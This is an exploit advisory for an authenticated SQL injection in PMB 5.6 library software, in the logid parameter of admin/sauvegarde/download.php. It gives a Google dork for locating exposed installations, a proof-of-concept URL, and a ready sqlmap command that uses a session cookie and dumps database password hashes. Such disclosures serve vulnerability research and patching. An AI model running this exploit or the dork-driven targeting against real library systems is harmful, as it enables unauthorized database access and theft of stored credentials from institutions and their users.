PMB 5.6 - 'logid' SQL Injection

# Exploit Title: PMB 5.6 - 'logid' SQL Injection
# Google Dork: inurl:opac_css
# Date: 2020-04-20
# Exploit Author: 41-trk (Tarik Bakir)
# Vendor Homepage: http://www.sigb.net
# Software Link: http://forge.sigb.net/redmine/projects/pmb/files
# Affected versions : <= 5.6 

-==== Software Description ====-

PMB is a completely free ILS (Integrated Library management System). The domain of software for libraries is almost exclusively occupied by proprietary products.
We are some librarians, users and developers deploring this state of affairs.
 
PMB is based on web technology. This is what we sometimes call a 'web-app'.
PMB requires an HTTP server (such as Apache, but this is not an obligation), the MySQL database and the PHP language.
 
The main functions of PMB are :
 
    * Supporting the UNIMARC format
    * Authorities management (authors, publishers, series, subjects...)
    * Management of loans, holds, borrowers...
    * A user-friendly configuration
    * The ability to import full bibliographic records
    * A user-friendly OPAC integrating a browser
    * Loans management with a module designed to serve even the very small establishments
    * Serials management
    * Simple administration procedures that can be handled easily even by the library staff...

-==== Vulnerability ====-

Variable $logid isn't properly sanitized in file /admin/sauvegarde/download.php, which allows ADMINISTRATION_AUTH to execute arbitrary SQL commands via the id parameter.

-==== POC ====-

http://localhost/[PMB_PATH]/admin/sauvegarde/download.php?logid=1 [SQLI]

Using SQLMAP :

./sqlmap.py -u "http://localhost/[PMB_PATH]/admin/sauvegarde/download.php?logid=1" -p logid --headers="Cookie: [VALID_USER_COOKIE]" --passwords

-==== Exploit requirements ====-

- You will need to be logged in in order to exploit the vulnerability.